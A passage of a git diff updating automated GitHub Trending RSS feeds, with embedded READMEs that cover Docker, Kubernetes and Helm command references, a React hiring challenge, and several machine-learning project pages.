href="https://github.com/bitnami/containers/raw/main/bitnami/kafka/docker-compose.yml">https://github.com/bitnami/containers/blob/main/bitnami/kafka/docker-compose.yml</a></li> <li>Local Kubernetes Cluster with Docker Desktop - <a href="https://docs.docker.com/desktop/kubernetes/">https://docs.docker.com/desktop/kubernetes/</a></li> <li>Kubernetes Dashboard - <a href="https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/">https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/</a></li> <li>Helm website - <a href="https://helm.sh">https://helm.sh</a></li> <li>Chocolatey website - <a href="https://chocolatey.org/">https://chocolatey.org/</a></li> <li>Bitnami Helm charts GitHub repo - <a href="https://github.com/bitnami/charts">https://github.com/bitnami/charts</a></li> <li>Spring Cloud Kubernetes website - <a href="https://spring.io/projects/spring-cloud-kubernetes">https://spring.io/projects/spring-cloud-kubernetes</a></li> <li>Spring Cloud Kubernetes Blog - <a href="https://spring.io/blog/2021/10/26/new-features-for-spring-cloud-kubernetes-in-spring-cloud-2021-0-0-m3">https://spring.io/blog/2021/10/26/new-features-for-spring-cloud-kubernetes-in-spring-cloud-2021-0-0-m3</a></li> <li>GCP website - <a href="https://cloud.google.com">https://cloud.google.com</a></li> <li>GCP SDK installation - <a href="https://cloud.google.com/sdk/docs/install">https://cloud.google.com/sdk/docs/install</a></li> <li>Kubernetes Ingress - <a href="https://kubernetes.io/docs/concepts/services-networking/ingress/">https://kubernetes.io/docs/concepts/services-networking/ingress/</a></li> <li>Ingress Controllers - <a href="https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/">https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/</a></li> <li>Istio (Service mesh) - <a href="https://istio.io">https://istio.io</a></li> </ul> <h2>Maven Commands used in the course</h2> <table> <thead> <tr> <th>Maven Command</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>"mvn clean install -Dmaven.test.skip=true"</td> <td>To generate a jar inside target folder</td> </tr> <tr> <td>"mvn spring-boot:run"</td> <td>To start a springboot maven project</td> </tr> <tr> <td>"mvn spring-boot:build-image"</td> <td>To generate a docker image using Buildpacks. No need of Dockerfile</td> </tr> <tr> <td>"mvn compile jib:dockerBuild"</td> <td>To generate a docker image using Google Jib. No need of Dockerfile</td> </tr> </tbody> </table> <h2>Docker Commands used in the course</h2> <table> <thead> <tr> <th>Docker Command</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>"docker build . -t eazybytes/accounts:s4"</td> <td>To generate a docker image based on a Dockerfile</td> </tr> <tr> <td>"docker run -p 8080:8080 eazybytes/accounts:s4"</td> <td>To start a docker container based on a given image</td> </tr> <tr> <td>"docker images"</td> <td>To list all the docker images present in the Docker server</td> </tr> <tr> <td>"docker image inspect image-id"</td> <td>To display detailed image information for a given image id</td> </tr> <tr> <td>"docker image rm image-id"</td> <td>To remove one or more images for a given image ids</td> </tr> <tr> <td>"docker image push docker.io/eazybytes/accounts:s4"</td> <td>To push an image or a repository to a registry</td> </tr> <tr> <td>"docker image pull docker.io/eazybytes/accounts:s4"</td> <td>To pull an image or a repository from a registry</td> </tr> <tr> <td>"docker ps"</td> <td>To show all running containers</td> </tr> <tr> <td>"docker ps -a"</td> <td>To show all containers including running and stopped</td> </tr> <tr> <td>"docker container start container-id"</td> <td>To start one or more stopped containers</td> </tr> <tr> <td>"docker container pause container-id"</td> <td>To pause all processes within one or more containers</td> </tr> <tr> <td>"docker container unpause container-id"</td> <td>To unpause all processes within one or more containers</td> </tr> <tr> <td>"docker container stop container-id"</td> <td>To stop one or more running containers</td> </tr> <tr> <td>"docker container kill container-id"</td> <td>To kill one or more running containers instantly</td> </tr> <tr> <td>"docker container restart container-id"</td> <td>To restart one or more containers</td> </tr> <tr> <td>"docker container inspect container-id"</td> <td>To inspect all the details for a given container id</td> </tr> <tr> <td>"docker container logs container-id"</td> <td>To fetch the logs of a given container id</td> </tr> <tr> <td>"docker container logs -f container-id"</td> <td>To follow log output of a given container id</td> </tr> <tr> <td>"docker container rm container-id"</td> <td>To remove one or more containers based on container ids</td> </tr> <tr> <td>"docker container prune"</td> <td>To remove all stopped containers</td> </tr> <tr> <td>"docker compose up"</td> <td>To create and start containers based on given docker compose file</td> </tr> <tr> <td>"docker compose down"</td> <td>To stop and remove containers</td> </tr> <tr> <td>"docker compose start"</td> <td>To start containers based on given docker compose file</td> </tr> <tr> <td>"docker compose down"</td> <td>To stop the running containers</td> </tr> <tr> <td>"docker run -p 3306:3306 --name accountsdb -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=accountsdb -d mysql"</td> <td>To create a MySQL DB container</td> </tr> <tr> <td>"docker run -p 6379:6379 --name eazyredis -d redis"</td> <td>To create a Redis Container</td> </tr> <tr> <td>"docker run -p 8080:8080 -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:22.0.3 start-dev"</td> <td>To create Keycloak Container</td> </tr> </tbody> </table> <h2>Apache Benchmark command used in the course</h2> <table> <thead> <tr> <th>Apache Benchmark command</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>"ab -n 10 -c 2 -v 3 <a href="http://localhost:8072/eazybank/cards/api/contact-info">http://localhost:8072/eazybank/cards/api/contact-info</a>"</td> <td>To perform load testing on API by sending 10 requests</td> </tr> </tbody> </table> <h2>Kubernetes Commands used in the course</h2> <table> <thead> <tr> <th>Kubernetes Command</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>"kubectl apply -f filename"</td> <td>To create a deployment/service/configmap based on a given YAML file</td> </tr> <tr> <td>"kubectl get all"</td> <td>To get all the components inside your cluster</td> </tr> <tr> <td>"kubectl get pods"</td> <td>To get all the pods details inside your cluster</td> </tr> <tr> <td>"kubectl get pod pod-id"</td> <td>To get the details of a given pod id</td> </tr> <tr> <td>"kubectl describe pod pod-id"</td> <td>To get more details of a given pod id</td> </tr> <tr> <td>"kubectl delete pod pod-id"</td> <td>To delete a given pod from cluster</td> </tr> <tr> <td>"kubectl get services"</td> <td>To get all the services details inside your cluster</td> </tr> <tr> <td>"kubectl get service service-id"</td> <td>To get the details of a given service id</td> </tr> <tr> <td>"kubectl describe service service-id"</td> <td>To get more details of a given service id</td> </tr> <tr> <td>"kubectl get nodes"</td> <td>To get all the node details inside your cluster</td> </tr> <tr> <td>"kubectl get node node-id"</td> <td>To get the details of a given node</td> </tr> <tr> <td>"kubectl get replicasets"</td> <td>To get all the replica sets details inside your cluster</td> </tr> <tr> <td>"kubectl get replicaset replicaset-id"</td> <td>To get the details of a given replicaset</td> </tr> <tr> <td>"kubectl get deployments"</td> <td>To get all the deployments details inside your cluster</td> </tr> <tr> <td>"kubectl get deployment deployment-id"</td> <td>To get the details of a given deployment</td> </tr> <tr> <td>"kubectl get configmaps"</td> <td>To get all the configmap details inside your cluster</td> </tr> <tr> <td>"kubectl get configmap configmap-id"</td> <td>To get the details of a given configmap</td> </tr> <tr> <td>"kubectl get events --sort-by=.metadata.creationTimestamp"</td> <td>To get all the events occured inside your cluster</td> </tr> <tr> <td>"kubectl scale deployment accounts-deployment --replicas=1"</td> <td>To set the number of replicas for a deployment inside your cluster</td> </tr> <tr> <td>"kubectl set image deployment gatewayserver-deployment gatewayserver=eazybytes/gatewayserver:s11 --record"</td> <td>To set a new image for a deployment inside your cluster</td> </tr> <tr> <td>"kubectl rollout history deployment gatewayserver-deployment"</td> <td>To know the rollout history for a deployment inside your cluster</td> </tr> <tr> <td>"kubectl rollout undo deployment gatewayserver-deployment --to-revision=1"</td> <td>To rollback to a given revision for a deployment inside your cluster</td> </tr> <tr> <td>"kubectl get pvc"</td> <td>To list the pvcs inside your cluster</td> </tr> <tr> <td>"kubectl delete pvc data-happy-panda-mariadb-0"</td> <td>To delete a pvc inside your cluster</td> </tr> </tbody> </table> <h2>Helm Commands used in the course</h2> <table> <thead> <tr> <th>Helm Command</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>"helm create [NAME]"</td> <td>Create a default chart with the given name</td> </tr> <tr> <td>"helm dependencies build"</td> <td>To recompile the given helm chart</td> </tr> <tr> <td>"helm install [NAME] [CHART]"</td> <td>Install the given helm chart into K8s cluster</td> </tr> <tr> <td>"helm upgrade [NAME] [CHART]"</td> <td>Upgrades a specified release to a new version of a chart</td> </tr> <tr> <td>"helm history [NAME]"</td> <td>Display historical revisions for a given release</td> </tr> <tr> <td>"helm rollback [NAME] [REVISION]"</td> <td>Roll back a release to a previous revision</td> </tr> <tr> <td>"helm uninstall [NAME]"</td> <td>Uninstall all of the resources associated with a given release</td> </tr> <tr> <td>"helm template [NAME] [CHART]"</td> <td>Render chart templates locally along with the values</td> </tr> <tr> <td>"helm list"</td> <td>Lists all of the helm releases inside a K8s cluster</td> </tr> </tbody> </table> + \ No newline at end of file diff --git a/javascript+erb/daily/index.xml b/javascript+erb/daily/index.xml index ac0bba870ba..a27cf3eaab8 100644 --- a/javascript+erb/daily/index.xml +++ b/javascript+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub JavaScript+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:06Z + 2024-01-06T01:34:05Z Daily Trending of JavaScript+ERB in GitHub \ No newline at end of file diff --git a/javascript/daily/index.xml b/javascript/daily/index.xml index 540556fb7d0..39d72bafafc 100644 --- a/javascript/daily/index.xml +++ b/javascript/daily/index.xml @@ -1,14 +1,21 @@ GitHub JavaScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:40Z + 2024-01-06T01:33:43Z Daily Trending of JavaScript in GitHub - rolling-scopes-school/clean-code-s1e1 - 2024-01-05T01:34:40Z - tag:github.com,2024-01-05:/rolling-scopes-school/clean-code-s1e1 - - <p></p><hr><img width="1199" alt="code-quality-task-screenshot" src="https://user-images.githubusercontent.com/8201843/113413843-4080fb80-93c4-11eb-9f20-15e4b4c1e430.png"> <h1>Application Functionality :</h1> <pre><code>- Adding a new item to the "TODO" task list - Editing an item in the "TODO" task list - Deleting an item from the "TODO" task list - Setting an item to completed status and moving it to the "COMPLETED" list via checkbox - Deleting an item from the "COMPLETED" list - Editing an item from the "COMPLETED" list - Setting an item to "Incomplete" status and moving it to the "TODO" list via checkbox - Animation on the delete button </code></pre> + TechForPalestine/boycott-israeli-tech-companies-dataset + 2024-01-06T01:33:43Z + tag:github.com,2024-01-06:/TechForPalestine/boycott-israeli-tech-companies-dataset + + <p></p><hr><p><a href="https://techforpalestine.org/learn-more"><img src="https://badge.techforpalestine.org/default" alt="Ceasefire Now"></a></p> <h1>Boycott Israeli tech Companies Dataset</h1> <h3>Overview</h3> <p>This repository is dedicated to providing a comprehensive list of Israeli tech companies to boycott, categorized based on their respective industries.</p> <h3>Contents</h3> <ul> <li> <p>YAML Files: Each category of companies is organized into separate YAML files. These files are easy to navigate and are regularly updated.</p> </li> <li> <p>Alternative Companies: For every boycotted company, we provide a list of alternative companies.</p> </li> </ul> <h3>Contributing</h3> <p>We welcome contributions from the community. If you wish to add a company to the boycott list or suggest an alternative, please follow these steps:</p> <ul> <li>Create a new fork.</li> <li>Clone your fork repository.</li> <li>Make your changes in a new branch.</li> <li>Add a comprehensive commit message e.g. "Added new trigger-happy company". Push.</li> <li>Submit a pull request with a detailed description of your additions or changes.</li> </ul> <h4>Help! I'm not a developer! How do I contribute?</h4> <ol> <li>Create a <a href="https://github.com/">github account</a>.</li> <li>Navigate to <a href="https://github.com/TechForPalestine/boycott-israeli-tech-companies-dataset">the repository</a>.</li> <li>Browse the <a href="https://github.com/TechForPalestine/boycott-israeli-tech-companies-dataset/tree/main/dataset/companies">existing companies</a>. Note they are organised by industry.</li> <li>Once you know what you want to add, navigate to the file you want to change e.g. Cloud.yaml.</li> <li>In the top right corner, click the Edit button. If it complains that you don't have a fork yet, Click create fork.</li> <li>Make the change(s) to the file.</li> <li>Once done, click the green button "Commit Changes", visible near the top right corner.</li> <li>Add a comprehensive commit message e.g. "Added new trigger-happy company", and click "Propose changes".</li> <li>Review your changes - if you are happy with them, click "Create pull request".</li> <li>Add a comprehensive description of the change you're making, then click "Create pull request".</li> </ol> <p>Done! One of the project maintainers will review and merge your changes.</p> <h3>Data Schema</h3> <ul> <li><a href="https://raw.githubusercontent.com/TechForPalestine/boycott-israeli-tech-companies-dataset/main/validators/companies/company-schema.yaml">Company Schema</a></li> </ul> <h3>Available commands</h3> <ul> <li><code>npm run validate</code> Validate the companies yaml files</li> </ul> + + + speer-technologies/aircall + 2024-01-06T01:33:43Z + tag:github.com,2024-01-06:/speer-technologies/aircall + + <p>Frontend Hiring Challenge</p><hr><h2>Summary</h2> <p>The goal of this test is to make you code a small ReactJS app. We have prepared a skeleton app for you, but please change whatever you want (CSS files, HTML structure, JS structure, etc).</p> <p>The app will have the following features:</p> <ul> <li><strong>Activity Feed</strong> - simple list of calls</li> <li><strong>Activity Detail</strong> - detail of a call</li> <li><strong>Archive</strong> - the final user should be able to archive (and unarchive) a call. Archived calls will no longer be displayed on the Activity Feed and should have a separate Archived Tab.</li> <li>A button to archive all calls in the activity feed</li> <li>A button to unarchive all calls in the archived calls tab</li> </ul> <p>Show us what you can do in 48 hours. You will be assessed on the following parameters:</p> <ul> <li>Focus on design (Pay attention to the UI/UX and transitions)</li> <li>Best React Practices</li> <li>Code Readability and Maintainability</li> </ul> <h2>Submission</h2> <p>After you're done with the assignment, please submit a link to the <strong>GitHub/Bitbucket repository</strong> (make sure it's public) with your code <strong>AND</strong> a deployment link where our recruiters can interact with the live version. You can use freely available tools like <strong>Netlify, Vercel, Heroku, etc</strong> to deploy your React application.</p> <p><strong>Note:</strong> Submissions without a valid repository and deployment link will be removed from any further consideration.</p> <p>To give you an idea, here's what our app looks like:</p> <p><img src="https://user-images.githubusercontent.com/630714/29357034-763d7216-8276-11e7-8bcb-e77d9645dfcc.png" alt="app"></p> <h2>Installation</h2> <p>We're using <a href="https://yarnpkg.com">yarn</a> here (but you can use npm):</p> <pre><code>yarn install yarn start </code></pre> <h2>API documentation</h2> <h3>Routes</h3> <p>Here is the API address: <a href="https://cerulean-marlin-wig.cyclic.app/">https://cerulean-marlin-wig.cyclic.app/</a> <br> If you run into a CORS error, please prepend the base URL with this CORS Anywhere server URL: <a href="https://charming-bat-singlet.cyclic.app/">https://charming-bat-singlet.cyclic.app/</a> <br> The prepended base URL will look like this <a href="https://charming-bat-singlet.cyclic.app/https://cerulean-marlin-wig.cyclic.app/">https://charming-bat-singlet.cyclic.app/https://cerulean-marlin-wig.cyclic.app/</a></p> <p>The API is hosted on a free server, which is why the first time you call the API, it will throw an error. The server goes to sleep if there hasn't been any activity for a while, but after 30-60 seconds of the first call, it should work as expected. Please reach out to us in case it doesn't.</p> <ul> <li><strong>GET</strong> - BASE_URL/activities: get calls to display in the Activity Feed</li> <li><strong>GET</strong> - BASE_URL/activities/&lt;call_id&gt; retrieve a specific call details</li> <li><strong>PATCH</strong> - BASE_URL/activities/&lt;call_id&gt; update a call. The only field updatable is <code>is_archived (bool)</code>. You'll need to send a JSON in the request body:</li> </ul> <pre><code>{ is_archived: true } </code></pre> <ul> <li><strong>PATCH</strong> - BASE_URL/reset: Reset all calls to initial state (usefull if you archived all calls).</li> </ul> <h3>Call object</h3> <ul> <li><strong>id</strong> - unique ID of call</li> <li><strong>created_at</strong> - creation date</li> <li><strong>direction</strong> - <code>inbound</code> or <code>outbound</code> call</li> <li><strong>from</strong> - caller's number</li> <li><strong>to</strong> - callee's number</li> <li><strong>via</strong> - Aircall number used for the call</li> <li><strong>duration</strong> - duration of a call (in seconds)</li> <li><strong>is_archived</strong> - call is archived or not</li> <li><strong>call_type</strong> - can be a <code>missed</code>, <code>answered</code> or <code>voicemail</code> call.</li> </ul> \ No newline at end of file diff --git a/jest-snapshot/daily/index.xml b/jest-snapshot/daily/index.xml index 65ff1c4e0bc..a734af4ce9d 100644 --- a/jest-snapshot/daily/index.xml +++ b/jest-snapshot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jest Snapshot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:08Z + 2024-01-06T01:34:05Z Daily Trending of Jest Snapshot in GitHub \ No newline at end of file diff --git a/jflex/daily/index.xml b/jflex/daily/index.xml index 3f6e85df462..9cbe12192e4 100644 --- a/jflex/daily/index.xml +++ b/jflex/daily/index.xml @@ -1,7 +1,7 @@ GitHub JFlex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:09Z + 2024-01-06T01:34:09Z Daily Trending of JFlex in GitHub \ No newline at end of file diff --git a/jinja/daily/index.xml b/jinja/daily/index.xml index e662c8542c4..84ec1cfe370 100644 --- a/jinja/daily/index.xml +++ b/jinja/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jinja Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:10Z + 2024-01-06T01:34:07Z Daily Trending of Jinja in GitHub \ No newline at end of file diff --git a/jison-lex/daily/index.xml b/jison-lex/daily/index.xml index 7a2fd2559df..609f3730ffa 100644 --- a/jison-lex/daily/index.xml +++ b/jison-lex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jison Lex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:11Z + 2024-01-06T01:34:10Z Daily Trending of Jison Lex in GitHub \ No newline at end of file diff --git a/jison/daily/index.xml b/jison/daily/index.xml index a60739eb5f7..2429e8af85d 100644 --- a/jison/daily/index.xml +++ b/jison/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jison Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:12Z + 2024-01-06T01:34:08Z Daily Trending of Jison in GitHub \ No newline at end of file diff --git a/jolie/daily/index.xml b/jolie/daily/index.xml index b7ff095a605..353dba846ce 100644 --- a/jolie/daily/index.xml +++ b/jolie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jolie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:15Z + 2024-01-06T01:34:11Z Daily Trending of Jolie in GitHub \ No newline at end of file diff --git a/jq/daily/index.xml b/jq/daily/index.xml index 0085a19c07e..a6c34def8ad 100644 --- a/jq/daily/index.xml +++ b/jq/daily/index.xml @@ -1,7 +1,7 @@ GitHub jq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:14Z + 2024-01-06T01:34:13Z Daily Trending of jq in GitHub \ No newline at end of file diff --git a/json-with-comments/daily/index.xml b/json-with-comments/daily/index.xml index de6dc6d3e83..4c56ece0182 100644 --- a/json-with-comments/daily/index.xml +++ b/json-with-comments/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON with Comments Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:16Z + 2024-01-06T01:34:11Z Daily Trending of JSON with Comments in GitHub \ No newline at end of file diff --git a/json/daily/index.xml b/json/daily/index.xml index 11b9a7ed1e3..42e88e35108 100644 --- a/json/daily/index.xml +++ b/json/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:13Z + 2024-01-06T01:34:12Z Daily Trending of JSON in GitHub \ No newline at end of file diff --git a/json5/daily/index.xml b/json5/daily/index.xml index 2e13c3e86b4..7daa484e194 100644 --- a/json5/daily/index.xml +++ b/json5/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON5 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:19Z + 2024-01-06T01:34:14Z Daily Trending of JSON5 in GitHub \ No newline at end of file diff --git a/jsoniq/daily/index.xml b/jsoniq/daily/index.xml index 7acf0ab6e58..5f26a1c8552 100644 --- a/jsoniq/daily/index.xml +++ b/jsoniq/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSONiq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:17Z + 2024-01-06T01:34:15Z Daily Trending of JSONiq in GitHub \ No newline at end of file diff --git a/jsonld/daily/index.xml b/jsonld/daily/index.xml index 17e3d8faaec..10f6a82ff0b 100644 --- a/jsonld/daily/index.xml +++ b/jsonld/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSONLD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:18Z + 2024-01-06T01:34:16Z Daily Trending of JSONLD in GitHub \ No newline at end of file diff --git a/jsonnet/daily/index.xml b/jsonnet/daily/index.xml index 869b2517267..a5f6c24a1af 100644 --- a/jsonnet/daily/index.xml +++ b/jsonnet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jsonnet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:20Z + 2024-01-06T01:34:17Z Daily Trending of Jsonnet in GitHub \ No newline at end of file diff --git a/julia/daily/index.xml b/julia/daily/index.xml index 5c113b29ef9..4e7e824bc20 100644 --- a/julia/daily/index.xml +++ b/julia/daily/index.xml @@ -1,21 +1,14 @@ GitHub Julia Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:30Z + 2024-01-06T01:34:23Z Daily Trending of Julia in GitHub - tanmaykm/LogRollerCompose.jl - 2024-01-05T01:35:30Z - tag:github.com,2024-01-05:/tanmaykm/LogRollerCompose.jl - - <p></p><hr> - - - tanmaykm/SyslogLoggingCompose.jl - 2024-01-05T01:35:30Z - tag:github.com,2024-01-05:/tanmaykm/SyslogLoggingCompose.jl - + jinwen-yang/cuPDLP.jl + 2024-01-06T01:34:23Z + tag:github.com,2024-01-06:/jinwen-yang/cuPDLP.jl + <p></p><hr> \ No newline at end of file diff --git a/jupyter-notebook/daily/index.xml b/jupyter-notebook/daily/index.xml index 16a48a6a0a9..28f65e29aae 100644 --- a/jupyter-notebook/daily/index.xml +++ b/jupyter-notebook/daily/index.xml @@ -1,28 +1,28 @@ GitHub Jupyter Notebook Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:30Z + 2024-01-06T01:34:23Z Daily Trending of Jupyter Notebook in GitHub - googlecolab/colabtools - 2024-01-05T01:35:30Z - tag:github.com,2024-01-05:/googlecolab/colabtools - - <p>Python libraries for Google Colaboratory</p><hr><h1>Google Colaboratory</h1> <p><a href="https://colab.research.google.com">Colaboratory</a> is a research project created to help disseminate machine learning education and research. Itโ€™s a Jupyter notebook environment that requires no setup to use. For more information, see our <a href="https://research.google.com/colaboratory/faq.html">FAQ</a>.</p> <p>This repository contains the code for the Python libraries available in the Colab.</p> <h2>Intended Use</h2> <p>This repo is intended to share code and other resources with the Colab community and to solicit feedback on the Colab product via <a href="https://github.com/googlecolab/colabtools/issues">github issues</a>.</p> <p><strong>The code published here is not intended for private reuse.</strong></p> <h2>Contacting Us</h2> <p>For support or help using Colab, please submit questions tagged with <code>google-colaboratory</code> on <a href="https://stackoverflow.com/questions/tagged/google-colaboratory">StackOverflow</a>.</p> <p>For any product issues, you can either <a href="https://github.com/googlecolab/colabtools/issues">submit an issue</a> or "Help" -&gt; "Send Feedback" in Colab.</p> <h2>Contributing</h2> <p>If you have a problem, or see something that could be improved, please file an issue. However, we don't have the bandwidth to support review of external contributions, and we don't want user PRs to languish, so we aren't accepting any external contributions right now.</p> + camenduru/OpenVoice-colab + 2024-01-06T01:34:23Z + tag:github.com,2024-01-06:/camenduru/OpenVoice-colab + + <p></p><hr><p>๐Ÿฃ Please follow me for new updates <a href="https://twitter.com/camenduru">https://twitter.com/camenduru</a> <br> ๐Ÿ”ฅ Please join our discord server <a href="https://discord.gg/k5BwmmvJJU">https://discord.gg/k5BwmmvJJU</a> <br> ๐Ÿฅณ Please join my patreon community <a href="https://patreon.com/camenduru">https://patreon.com/camenduru</a> <br></p> <h3>๐Ÿฆ’ Colab</h3> <table> <thead> <tr> <th>Colab</th> <th>Info</th> </tr> </thead> <tbody> <tr> <td><a href="https://colab.research.google.com/github/camenduru/OpenVoice-colab/blob/main/OpenVoice_colab.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg?sanitize=true" alt="Open In Colab"></a></td> <td>OpenVoice_colab</td> </tr> </tbody> </table> <h3>๐Ÿงฌ Code</h3> <p><a href="https://github.com/myshell-ai/OpenVoice">https://github.com/myshell-ai/OpenVoice</a></p> <h3>๐Ÿ“„ Paper</h3> <p><a href="https://arxiv.org/abs/2312.01479">https://arxiv.org/abs/2312.01479</a></p> <h3>๐ŸŒ Page</h3> <p><a href="https://research.myshell.ai/open-voice">https://research.myshell.ai/open-voice</a></p> <h3>๐Ÿ–ผ Output</h3> <p><a href="https://github.com/camenduru/OpenVoice-colab/assets/54370274/58bf6867-4011-4611-9160-91c4b8448e00">https://github.com/camenduru/OpenVoice-colab/assets/54370274/58bf6867-4011-4611-9160-91c4b8448e00</a></p> - pytorch/tutorials - 2024-01-05T01:35:30Z - tag:github.com,2024-01-05:/pytorch/tutorials - - <p>PyTorch tutorials.</p><hr><h1>PyTorch Tutorials</h1> <p>All the tutorials are now presented as sphinx style documentation at:</p> <h2><a href="https://pytorch.org/tutorials">https://pytorch.org/tutorials</a></h2> <h1>Asking a question</h1> <p>If you have a question about a tutorial, post in <a href="https://dev-discuss.pytorch.org/">https://dev-discuss.pytorch.org/</a> rather than creating an issue in this repo. Your question will be answered much faster on the dev-discuss forum.</p> <h1>Submitting an issue</h1> <p>You can submit the following types of issues:</p> <ul> <li>Feature request - request a new tutorial to be added. Please explain why this tutorial is needed and how it demonstrates PyTorch value.</li> <li>Bug report - report a failure or outdated information in an existing tutorial. When submitting a bug report, please run: <code>python3 -m torch.utils.collect_env</code> to get information about your environment and add the output to the bug report.</li> </ul> <h1>Contributing</h1> <p>We use sphinx-gallery's <a href="https://sphinx-gallery.github.io/stable/tutorials/index.html">notebook styled examples</a> to create the tutorials. Syntax is very simple. In essence, you write a slightly well formatted Python file and it shows up as an HTML page. In addition, a Jupyter notebook is autogenerated and available to run in Google Colab.</p> <p>Here is how you can create a new tutorial (for a detailed description, see <a href="https://raw.githubusercontent.com/pytorch/tutorials/main/CONTRIBUTING.md">CONTRIBUTING.md</a>):</p> <ol> <li>Create a Python file. If you want it executed while inserted into documentation, save the file with the suffix <code>tutorial</code> so that the file name is <code>your_tutorial.py</code>.</li> <li>Put it in one of the <code>beginner_source</code>, <code>intermediate_source</code>, <code>advanced_source</code> directory based on the level of difficulty. If it is a recipe, add it to <code>recipes_source</code>. For tutorials demonstrating unstable prototype features, add to the <code>prototype_source</code>.</li> <li>For Tutorials (except if it is a prototype feature), include it in the <code>toctree</code> directive and create a <code>customcarditem</code> in <a href="https://raw.githubusercontent.com/pytorch/tutorials/main/index.rst">index.rst</a>.</li> <li>For Tutorials (except if it is a prototype feature), create a thumbnail in the <a href="https://github.com/pytorch/tutorials/raw/main/index.rst">index.rst file</a> using a command like <code>.. customcarditem:: beginner/your_tutorial.html</code>. For Recipes, create a thumbnail in the <a href="https://github.com/pytorch/tutorials/raw/main/recipes_source/recipes_index.rst">recipes_index.rst</a></li> </ol> <p>If you are starting off with a Jupyter notebook, you can use <a href="https://gist.github.com/chsasank/7218ca16f8d022e02a9c0deb94a310fe">this script</a> to convert the notebook to Python file. After conversion and addition to the project, please make sure that section headings and other things are in logical order.</p> <h2>Building locally</h2> <p>The tutorial build is very large and requires a GPU. If your machine does not have a GPU device, you can preview your HTML build without actually downloading the data and running the tutorial code:</p> <ol> <li>Install required dependencies by running: <code>pip install -r requirements.txt</code>.</li> </ol> <blockquote> <p>If you want to use <code>virtualenv</code>, in the root of the repo, run: <code>virtualenv venv</code>, then <code>source venv/bin/activate</code>.</p> </blockquote> <ul> <li>If you have a GPU-powered laptop, you can build using <code>make docs</code>. This will download the data, execute the tutorials and build the documentation to <code>docs/</code> directory. This might take about 60-120 min for systems with GPUs. If you do not have a GPU installed on your system, then see next step.</li> <li>You can skip the computationally intensive graph generation by running <code>make html-noplot</code> to build basic html documentation to <code>_build/html</code>. This way, you can quickly preview your tutorial.</li> </ul> <blockquote> <p>If you get <strong>ModuleNotFoundError: No module named 'pytorch_sphinx_theme' make: *** [html-noplot] Error 2</strong> from /tutorials/src/pytorch-sphinx-theme or /venv/src/pytorch-sphinx-theme (while using virtualenv), run <code>python setup.py install</code>.</p> </blockquote> <h2>Building a single tutorial</h2> <p>You can build a single tutorial by using the <code>GALLERY_PATTERN</code> environment variable. For example to run only <code>neural_style_transfer_tutorial.py</code>, run:</p> <pre><code>GALLERY_PATTERN="neural_style_transfer_tutorial.py" make html </code></pre> <p>or</p> <pre><code>GALLERY_PATTERN="neural_style_transfer_tutorial.py" sphinx-build . _build </code></pre> <p>The <code>GALLERY_PATTERN</code> variable respects regular expressions.</p> <h2>About contributing to PyTorch Documentation and Tutorials</h2> <ul> <li>You can find information about contributing to PyTorch documentation in the PyTorch Repo <a href="https://github.com/pytorch/pytorch/raw/master/README.md">README.md</a> file.</li> <li>Additional information can be found in <a href="https://github.com/pytorch/pytorch/raw/master/CONTRIBUTING.md">PyTorch CONTRIBUTING.md</a>.</li> </ul> + MarkFzp/mobile-aloha + 2024-01-06T01:34:23Z + tag:github.com,2024-01-06:/MarkFzp/mobile-aloha + + <p>Mobile ALOHA: Learning Bimanual Mobile Manipulation with Low-Cost Whole-Body Teleoperation</p><hr><h1>Mobile ALOHA: Learning Bimanual Mobile Manipulation with Low-Cost Whole-Body Teleoperation</h1> <h4>Project Website: <a href="https://mobile-aloha.github.io/">https://mobile-aloha.github.io/</a></h4> <p>This codebase is forked from the <a href="https://github.com/tonyzhaozh/aloha">ALOHA repo</a>, and contains implementation for teleoperation and data collection with the Mobile ALOHA hardware. To build ALOHA, follow the <a 